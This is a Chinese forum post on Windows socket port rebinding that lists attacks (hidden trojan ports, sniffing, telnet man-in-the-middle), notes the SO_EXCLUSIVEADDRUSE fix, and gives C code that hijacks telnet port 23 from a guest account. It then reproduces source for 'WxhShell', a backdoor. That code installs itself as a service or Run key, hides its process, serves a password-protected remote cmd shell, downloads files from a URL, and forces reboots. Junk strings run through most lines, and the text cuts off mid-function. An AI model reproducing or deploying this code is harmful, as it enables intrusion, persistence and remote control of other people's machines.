在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wgPkSsuBuC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
hO?RsYJ.F h+d \u saddr.sin_family = AF_INET;
u&-Zh@;Q7 ?7| 6jTIs saddr.sin_addr.s_addr = htonl(INADDR_ANY);
J{w[vcf xtq='s8e bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Ec4+wRWk85 P/?'ea 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
c|hT\1XR, rY:A LA 这意味着什么?意味着可以进行如下的攻击:
Et0[HotO 4z*An}ol] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q-<t'uhs[ %4#Q3YlyD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
F Bk_LEcX ]>_Ie?L)< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
v<u`wnt S9 VD/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
lO+6|oF0 \2U F J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
_*1{fvv0{ >0c4C<_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@b]?Gg 9vL n#_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
V/,@hv`+ Kh'7N! #include
BXj]]S2 #include
{37v.4d; #include
9]]isE8r #include
CtO;_;eD' DWORD WINAPI ClientThread(LPVOID lpParam);
B\mRHV! int main()
hH3~O`~ {
G9qN1q~ WORD wVersionRequested;
EmFL
%++V DWORD ret;
yE{(Ebm WSADATA wsaData;
`{v!|.d< BOOL val;
,e93I6 SOCKADDR_IN saddr;
r2 .f8U SOCKADDR_IN scaddr;
}#D+}Mo!, int err;
?nc:B]=pTY SOCKET s;
T=~D>2C SOCKET sc;
-RK R., int caddsize;
ZOIx+%/Vd# HANDLE mt;
O86[`, DWORD tid;
E|~)"= wVersionRequested = MAKEWORD( 2, 2 );
XUK!1} err = WSAStartup( wVersionRequested, &wsaData );
knb 9s`wR if ( err != 0 ) {
fC<pCdsg printf("error!WSAStartup failed!\n");
Jb1L[sT2 return -1;
h,!`2_&UQ }
9o<5Z= saddr.sin_family = AF_INET;
Rv=rO|&] 7,BULs\g //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0<4Nf]i kWW$*d$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
XhEJF ! saddr.sin_port = htons(23);
+ _"AF| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]ur_G`B {
|9*8u>|RC printf("error!socket failed!\n");
}\Ri:&? return -1;
HCIS4}lQ }
b>]MZhLJe val = TRUE;
K@R *
V //SO_REUSEADDR选项就是可以实现端口重绑定的
w;=g$Bn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
*%p`Jk-U {
JQ"R%g`8 printf("error!setsockopt failed!\n");
g\~n5=-D return -1;
*74VrAo }
lD41+x7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
?#]wxH, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^Yg}>?0 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[PP&}.k4" vOV$H le if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
j.:I{!R# {
-qNun3 ret=GetLastError();
!Sj0! \ printf("error!bind failed!\n");
W9M~2<
L return -1;
%}/ |/= }
"x~su?KiA listen(s,2);
#[B]\HO while(1)
]mZN18# {
\&#IK9x{ caddsize = sizeof(scaddr);
X Z4q{^o //接受连接请求
7^<{aE: sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&cuDGo. if(sc!=INVALID_SOCKET)
3-6Lbe9H {
XFmTr@\M mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!U[/P6
+0 if(mt==NULL)
nd3n 'b {
gT0N\oU" printf("Thread Creat Failed!\n");
bZf}m=C! break;
efUa[XO }
{,Z-GJ }
hcX`X2^ CloseHandle(mt);
+rN&@}Jt. }
3z~d7J closesocket(s);
2R=Fc@MXs WSACleanup();
Zog&:]P'F return 0;
fMluVND }
t;/s^-} DWORD WINAPI ClientThread(LPVOID lpParam)
b-Xc6f {
H9+[T3b SOCKET ss = (SOCKET)lpParam;
/]>8V'e\ SOCKET sc;
$ts1XIK% unsigned char buf[4096];
,(y6XUV~ SOCKADDR_IN saddr;
HY>zgf,0 long num;
?Jy/]j5fI DWORD val;
9ymx; DWORD ret;
W\1V`\gF //如果是隐藏端口应用的话,可以在此处加一些判断
=tQ^t4_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0/TP`3$X#" saddr.sin_family = AF_INET;
D4IP$pAD saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1G`zwfmh~ saddr.sin_port = htons(23);
}[mLtv%& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`x:8m?q05 {
Z(wj5;[G printf("error!socket failed!\n");
HF;$Wf+=J return -1;
MfG8=H2#| }
:N#8|;J1Fl val = 100;
E
E^lw61 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
DNu-Ce% {
o8c5~fG1 ret = GetLastError();
/{%p%Q[X return -1;
+"GBuNh }
bx._,G if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'4e,
e|r {
Boj#r ,x ret = GetLastError();
>hv8zHOO: return -1;
?)V|L~/ }
<sw fYT!N if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'aqlNBG* {
q#_<J1)z printf("error!socket connect failed!\n");
YMr2Dv\y closesocket(sc);
%}[/lIxaE closesocket(ss);
# ~(lY} return -1;
$i;m9_16 }
TW~%1G_v while(1)
v7b+ {
lEXI<b'2 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2e^6Od!Y? //如果是嗅探内容的话,可以再此处进行内容分析和记录
_ZHDr[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
GAU7w"sE num = recv(ss,buf,4096,0);
c@|f'V4 if(num>0)
)zAATBb4. send(sc,buf,num,0);
Wf{&D> else if(num==0)
awU&{<,=g break;
<TEDqQ num = recv(sc,buf,4096,0);
!t!' if(num>0)
mTBSntZx send(ss,buf,num,0);
#7Jvk_r9Y else if(num==0)
`;)op3A' break;
)~be<G( a }
W4&Itj closesocket(ss);
fM!@cph(8 closesocket(sc);
7Sl"q=> return 0 ;
{xu~Dx }
IylfMwLC AYsiaSTRqW u3C0!{v ==========================================================
e !N% Y,M2D 下边附上一个代码,,WXhSHELL
b NR@d'U _jM+;=f ==========================================================
/RemLJP
F OMm'm\+/ #include "stdafx.h"
&xE+PfX :V~
AjV #include <stdio.h>
<tgfbY^nL #include <string.h>
nj=nSD #include <windows.h>
v9MliD' #include <winsock2.h>
D:0?u_[W #include <winsvc.h>
+ux170Cd3 #include <urlmon.h>
aE[:9{<| kJ"}JRA< #pragma comment (lib, "Ws2_32.lib")
vl>_;}W7 #pragma comment (lib, "urlmon.lib")
ks7id[~&iY $E-c%- #define MAX_USER 100 // 最大客户端连接数
3B5 `Y #define BUF_SOCK 200 // sock buffer
iD)P6" #define KEY_BUFF 255 // 输入 buffer
g:2\S= &I7T? #define REBOOT 0 // 重启
1xj w= #define SHUTDOWN 1 // 关机
nJR(lXWO GsiT!OP]y #define DEF_PORT 5000 // 监听端口
f"Kl?IN8 mk[<=k~ #define REG_LEN 16 // 注册表键长度
~F13}is #define SVC_LEN 80 // NT服务名长度
jygKw+C H+npe'm_Z // 从dll定义API
paZcTC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
jwO7r0?\`G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#B@*- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
* TByAa{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:LLz$[c8 s)}EMDY // wxhshell配置信息
5"z~BE7 struct WSCFG {
j$Vtd& int ws_port; // 监听端口
;\
gat)0n% char ws_passstr[REG_LEN]; // 口令
Y@MFH>* int ws_autoins; // 安装标记, 1=yes 0=no
AH|'{ char ws_regname[REG_LEN]; // 注册表键名
!m?W+z~J char ws_svcname[REG_LEN]; // 服务名
cv9-ZOxJ char ws_svcdisp[SVC_LEN]; // 服务显示名
Xp~O?2:3l char ws_svcdesc[SVC_LEN]; // 服务描述信息
TlpQ9T char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J~lKN
<w int ws_downexe; // 下载执行标记, 1=yes 0=no
lin char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
O5dBI_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J=B,$4)9 ]~7xq)28 };
ALt^@|!d uO4R5F|tL // default Wxhshell configuration
Y0g6zHk7 struct WSCFG wscfg={DEF_PORT,
-5Aqf\ "xuhuanlingzhe",
+t}<e( 1,
T;#:Y "Wxhshell",
FB
n . 4 "Wxhshell",
Am=O-;
b'8 "WxhShell Service",
eb7~\|9l1i "Wrsky Windows CmdShell Service",
Hr/Q?7g "Please Input Your Password: ",
ZmZ7E]c 1,
/JmWiBQIn "
http://www.wrsky.com/wxhshell.exe",
&?M'(` ~ "Wxhshell.exe"
$O, IXA };
7%yP5c
B QA#Jx // 消息定义模块
hEAP,)>F char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)]{& char *msg_ws_prompt="\n\r? for help\n\r#>";
Q#}c5TjVr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$}.#0c8I char *msg_ws_ext="\n\rExit.";
J-W8wCq` char *msg_ws_end="\n\rQuit.";
tNYCyw{K char *msg_ws_boot="\n\rReboot...";
dwz{Yw( char *msg_ws_poff="\n\rShutdown...";
crU]P $a char *msg_ws_down="\n\rSave to ";
YiC_,8A~ a3^ ({;k!0 char *msg_ws_err="\n\rErr!";
g>H\"cUv char *msg_ws_ok="\n\rOK!";
X_#,5t=7 j] char ExeFile[MAX_PATH];
U}SN#[* int nUser = 0;
_Sult;y"u HANDLE handles[MAX_USER];
^i6`w_ / int OsIsNt;
@.l?V6g9T \"l/D?+Q SERVICE_STATUS serviceStatus;
2$1D+(5; SERVICE_STATUS_HANDLE hServiceStatusHandle;
Z'_EX7r l%v2O'h // 函数声明
(z^987G int Install(void);
aKw7m={ int Uninstall(void);
/^b=| +Do int DownloadFile(char *sURL, SOCKET wsh);
qQe23,x@5 int Boot(int flag);
@^^,VgW[ void HideProc(void);
E\XD~ int GetOsVer(void);
|1UJKJwX int Wxhshell(SOCKET wsl);
92g&,Wb void TalkWithClient(void *cs);
{
u1\M int CmdShell(SOCKET sock);
MJG)fFl]O int StartFromService(void);
}bYk#6KX int StartWxhshell(LPSTR lpCmdLine);
5Cl;h^R|m c'Zs2s7$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Uc5BNk7<= VOID WINAPI NTServiceHandler( DWORD fdwControl );
-4t!k
Aw` 6adXE // 数据结构和表定义
rM)-$dZ SERVICE_TABLE_ENTRY DispatchTable[] =
])mYE
}g {
)k&!& {wscfg.ws_svcname, NTServiceMain},
B/bS: {NULL, NULL}
G$CI~0Se: };
C%;J9(r ' O d_:] // 自我安装
6" |+\ int Install(void)
Fes/8*- {
SAN/fnM char svExeFile[MAX_PATH];
k>!A~gfP~ HKEY key;
fC!+"g55 strcpy(svExeFile,ExeFile);
(zhi/>suG u;=a=>05IR // 如果是win9x系统,修改注册表设为自启动
Xv?'*2J if(!OsIsNt) {
|Whkq/Zg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!T1)tGrH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uOQl;}Lk5 RegCloseKey(key);
A9ru]|? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%<;PEQQ|C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_2nNCu ( RegCloseKey(key);
}yMAs return 0;
n]snD1?KX }
8?&!@3n }
N.|uPq$R }
ZqJyuTPv else {
hV[= _sC
kBDl- // 如果是NT以上系统,安装为系统服务
"yc@_+"\+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
}XIUz| if (schSCManager!=0)
^3w
>:4m {
|f<-lB[k SC_HANDLE schService = CreateService
HbQ+:B] (
DT>Giic schSCManager,
.dl4f"k wscfg.ws_svcname,
TZ]o6B b wscfg.ws_svcdisp,
\,yX3R3}.~ SERVICE_ALL_ACCESS,
<hmRr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
KcF#c_f
SERVICE_AUTO_START,
=Vi>?fWpn= SERVICE_ERROR_NORMAL,
FAF+ } svExeFile,
lb[\Lzdvmu NULL,
_.K<#S NULL,
i2m+s; NULL,
ip2BvN& NULL,
{igVuZ(>en NULL
E:S (v );
kc}&\y if (schService!=0)
t.= 1<Ed {
88 M$mjx CloseServiceHandle(schService);
6@cT;=W;xj CloseServiceHandle(schSCManager);
9zD^4j7 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~6O<5@k strcat(svExeFile,wscfg.ws_svcname);
,[|4{qli\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dEW I8Q] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
I-o|~ RegCloseKey(key);
-KFozwr5/ return 0;
zIh`Vw ,t0 }
3Fl!pq] }
Y+e a CloseServiceHandle(schSCManager);
FvV:$V| }
3ew`e"s }
;-@v1I; hF7#i_UN< return 1;
4/ M~# }
_S;Fs|p_ <R@w0b> // 自我卸载
\1cJ?/$_Of int Uninstall(void)
!(-S?*64l {
:igURr HKEY key;
V
j"B/@ ;PF!=8dW if(!OsIsNt) {
KI~M.2pk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
H3qM8_GUA RegDeleteValue(key,wscfg.ws_regname);
|%xgob RegCloseKey(key);
,]qTJ`J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^E`SR6_cmj RegDeleteValue(key,wscfg.ws_regname);
|XoW
Z,K RegCloseKey(key);
fC^POLn[f return 0;
PcQqdU^! }
nK;c@!~pS }
X!ad~bt }
92)e/t iP else {
kqyPb$Wy tv8}O([ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
mu#
a if (schSCManager!=0)
?^z.WQ|f@ {
E4dN,^_ F! SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'+*{u]\ if (schService!=0)
1.y|bB+kB {
K`#bLCXEV0 if(DeleteService(schService)!=0) {
#gd`X|<Ch CloseServiceHandle(schService);
KG8Km CloseServiceHandle(schSCManager);
=TG[isC/F9 return 0;
P<{N)H 2r }
pQf5s7 CloseServiceHandle(schService);
d1=fA%pJ }
WwBs_OMc CloseServiceHandle(schSCManager);
z~y=(T }
-OPJB:7Z }
M5>cYVG t?<pyw $ return 1;
tj=l! }
wYIlp {e'V^l.v // 从指定url下载文件
+ZK12D} int DownloadFile(char *sURL, SOCKET wsh)
380M&Guh {
cas5 HRESULT hr;
I#U"DwM char seps[]= "/";
\>@QJ char *token;
c1L0#L/F6" char *file;
jX8,y char myURL[MAX_PATH];
pa)2TL/@ char myFILE[MAX_PATH];
_6k ej#o8 7C"&f *lEi strcpy(myURL,sURL);
!H[K"7w token=strtok(myURL,seps);
`$N()P while(token!=NULL)
&q0s8'qA {
a-<&(jV file=token;
>p;cbp[ht token=strtok(NULL,seps);
#)hJ.0~3 }
Bp>Z?"hTe (viGL|Ogn GetCurrentDirectory(MAX_PATH,myFILE);
bw& U[|A0% strcat(myFILE, "\\");
^a+H`RD strcat(myFILE, file);
sj& j\<( send(wsh,myFILE,strlen(myFILE),0);
C`LHFqv send(wsh,"...",3,0);
<1(j&U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=@EX!]=x if(hr==S_OK)
(h3f$ return 0;
Oj ?
|g_ else
*8?0vkZZ2 return 1;
J;AwC>N ~M!s0jT }
]= nM|e TCI%Ox|a // 系统电源模块
?ot7_ vl int Boot(int flag)
e0; KmQjG {
VA^yv1We HANDLE hToken;
U3UDA TOKEN_PRIVILEGES tkp;
\2Atm,#4 v@^P4cu; if(OsIsNt) {
?f\ ~:Gm/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"q,.O5q}Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
y(w&6: tkp.PrivilegeCount = 1;
;:5Ahfo \ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
O h{>xg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]6BV`r] if(flag==REBOOT) {
^;@Q3~DpP% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f;7I{Z\< return 0;
NplWF\5y }
lI"~*"c` else {
2LqJ.HH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
B
!}/4" return 0;
\p%,g&^ x }
@G&2Tbj[` }
H;.${u^lhd else {
n
9X:s?B/ if(flag==REBOOT) {
Op2@En|d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z&a>cjt_; return 0;
vl,Ff9 }
%{*A@jQsg else {
-m"9v%>Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2:4:Q[{A return 0;
JsZLBq*lP }
9\J.AAk~/ }
<<5x"W(,
LI`H,2Km return 1;
aR0'$*3E }
M8p6f)l3 Y;dQLZCC // win9x进程隐藏模块
eF%>5 void HideProc(void)
'1r<g\l {
+IkL=/';# ) ]
C"r_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
io1hUZ if ( hKernel != NULL )
]b6g Z< {
}S_#*N)i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
zY^QZceq" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X]T&kdQ6q FreeLibrary(hKernel);
s`63
y&Z[ }
|h6u%t2AY \lBY4j+; return;
]XS[\qo }
)@,zG(t5; qwomc28O // 获取操作系统版本
>o_cf*nx int GetOsVer(void)
Q]7}"B& {
L55VS:' OSVERSIONINFO winfo;
pX LXkF? winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@}+F4Xh,L GetVersionEx(&winfo);
ZKp9k6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
T5gL return 1;
EjDr
else
qQ
T^d return 0;
Mr6 q7 }
l?Qbwv} HV}*}Ty // 客户端句柄模块
OB5t+_s int Wxhshell(SOCKET wsl)
4;D>s8dgG {
fUV;3du SOCKET wsh;
:% m56 struct sockaddr_in client;
*< ?~ DWORD myID;
y|Vwy4tK9 PC55A1(T while(nUser<MAX_USER)
=`W#R {
=f\BAi int nSize=sizeof(client);
EWNm }C9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:)g}x&A^$ if(wsh==INVALID_SOCKET) return 1;
,GTIpPj mDX
UF~G[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*:tfz*FG$G if(handles[nUser]==0)
tB/'3#o closesocket(wsh);
Q@aDa 8Z else
.jK,6't^ nUser++;
%SKJ#b }
og)f?4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
YU6D; 9J4gDw4< return 0;
55K(]%t }
l1uv]t < /)/>/4O // 关闭 socket
&(/QJ `*8 void CloseIt(SOCKET wsh)
mF`%Z~}b {
Jnl#d0)
- closesocket(wsh);
&wea]./B nUser--;
Q35jJQ$<` ExitThread(0);
\s^4f# }
[Zj6v a ^nGKuW7\ // 客户端请求句柄
Z.E@aml\
void TalkWithClient(void *cs)
=?oYEO7 {
sMHP=2## uz'MUT(68 SOCKET wsh=(SOCKET)cs;
\_|g}&}6Y char pwd[SVC_LEN];
*DS>#x@3*i char cmd[KEY_BUFF];
\VAm4 char chr[1];
ee\xj$, int i,j;
M'>8P6O 7rSads while (nUser < MAX_USER) {
*h4x`luJ S*w; $`Y if(wscfg.ws_passstr) {
>4iVVs if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9~ rYLR(v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8L _]_ //ZeroMemory(pwd,KEY_BUFF);
GS&iSjw i=0;
ipH'}~=ID while(i<SVC_LEN) {
K!jMW )7;E,m<:tO // 设置超时
gq~6jf> fd_set FdRead;
i/{`rv*K[ struct timeval TimeOut;
w6<zPrA FD_ZERO(&FdRead);
F$nc9x[S FD_SET(wsh,&FdRead);
@0&KM|+ TimeOut.tv_sec=8;
Ro:)N:C TimeOut.tv_usec=0;
"Kc1@EX= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
RElIWqgY if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ujan2'YT 6X[Mn2wYW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fA" VLQE pwd
=chr[0]; pZV=Co3!I
if(chr[0]==0xd || chr[0]==0xa) { MYMg/>f[
pwd=0; :=e"D;5
break; ZMGthI}~-
} sMNhD/bb
i++; E9~}%&
} PCs`aVZ
l,@rB+u
// 如果是非法用户,关闭 socket #Zj3SfU~`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %pBc]n@_
} 4ZCD@C
>&D}^TMYY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ? uu, w
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V8-*dE
5"mH6%d :8
while(1) { /M5R<rl
Y |'}VU
ZeroMemory(cmd,KEY_BUFF); M=#'+CF}W
vV*i)`IXe
// 自动支持客户端 telnet标准 2kW*Z7@D
j=0; A|
s\5"??
while(j<KEY_BUFF) { ;nbbKQ]u
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G'0JK+=o
cmd[j]=chr[0]; ,ocAB;K
if(chr[0]==0xa || chr[0]==0xd) { i>{.Y};
cmd[j]=0; [|tlTk
break; #H-EOXy
} kJk6lPSqi7
j++; b<8,'QgB
} "pTU&He
),5|Ves;t[
// 下载文件 _0h)O
if(strstr(cmd,"http://")) { &at>sQ'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]%ey rbU
if(DownloadFile(cmd,wsh)) %[WOQ.Sh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y0xn}:%K
else kX "*kD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?G<.W[3
} 49-wFF
else { N-YCOSUu
='Fh^]*5
switch(cmd[0]) { "a=dx|
Z
6S&OE k
// 帮助 DW>|'w %
case '?': { =cWg39$(I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E@CK.-N|
break; rq![a};~
} 82KWe=
// 安装 /4{IxQk
case 'i': { vu|-}v?:
if(Install()) /j"aOLL|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h%8C_mA
else o@uZU4MM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qv;q*4_
break; M%v 6NxN
} sj8lvIY5
// 卸载 tNC;CP#R+
case 'r': { ^7iP!-w/
if(Uninstall()) bBgyLyg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {4YD_$4W
else e {805^X}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "9O8#i<Nr
break; >gf,8flgj
} P0ZY;/e5h
// 显示 wxhshell 所在路径 DSL3+%KF#
case 'p': { q$7/X;A
char svExeFile[MAX_PATH]; Rv Uw,=
strcpy(svExeFile,"\n\r"); Wp(Rw4j
strcat(svExeFile,ExeFile); gPcOm
b
send(wsh,svExeFile,strlen(svExeFile),0); Ws;X;7tS
break; vpz l{
} e`bP=7`0
// 重启 ~*hCTqHvN
case 'b': { 7g-{<d
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;YYnIb(
if(Boot(REBOOT)) sfzDE&>'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0`$fs.4c
else { Z=9gok\
closesocket(wsh); &}!AjA)
ExitThread(0); LX{mr{
} uxbLoE
break; K:b^@>XH
} #+(@i|!ifo
// 关机 dfWtLY
case 'd': { UY^TTRrH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \:9<d@?
if(Boot(SHUTDOWN)) VfkQc$/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L7nW_
else { BE)&.}l
closesocket(wsh); z yrjb8
ExitThread(0); P#-p*4
} _@! yj
break; &?Z<"+B8S
} P1dFoQz
// 获取shell hr`,s!0Y
case 's': { KskPFXxP
CmdShell(wsh); dZuPR
closesocket(wsh); ~WKWx.ul
ExitThread(0); Q& S 7_
break; ]e(\<R6Gf
} <$Djags,F
// 退出 kJpr:4;@_
case 'x': { UL]zuW/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (g0U v.*
CloseIt(wsh); *r|Zbxf(
break; [BKOK7QK|
} cK\'D
// 离开 _*-b0 }T
case 'q': { +zZ]Txb(
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5#mHWBGd7
closesocket(wsh); &Y1RPO41J
WSACleanup(); t@!A1Vr@
exit(1); WXd#`f %
break; ;jh.\a_\
} Oar%LSkPRz
}
Y}e3:\
} dpcU`$kt
\d-9Ndp
nf
// 提示信息 ";TqYk=-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k,LaFe`W
} 7ea%mg\
} &(h@]F!
t|C?=:_
return; 5I[6 "o0
} NL &![;
%lGT|XrY
// shell模块句柄 t(1gJZs>kX
int CmdShell(SOCKET sock) T'a&
{ `a5,5}7v%`
STARTUPINFO si; zQoJ8i>
ZeroMemory(&si,sizeof(si)); R~BFZF>:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _7<G6q2(
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {EJ+
PROCESS_INFORMATION ProcessInfo; )}@Z*.HZL
char cmdline[]="cmd"; +>Pq]{Uf1j
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j-zWckT{
return 0; 'j;i4ie>*x
} ?dmwz4k0
n^` `)"
// 自身启动模式 #r QT)n
int StartFromService(void) \jr-^n]
{ VVqpzDoXG
typedef struct `KUL4) g~
{ g ,yB^^%
DWORD ExitStatus; GW2v&Ul7(
DWORD PebBaseAddress; K~+x@O*
DWORD AffinityMask; A>6_h1
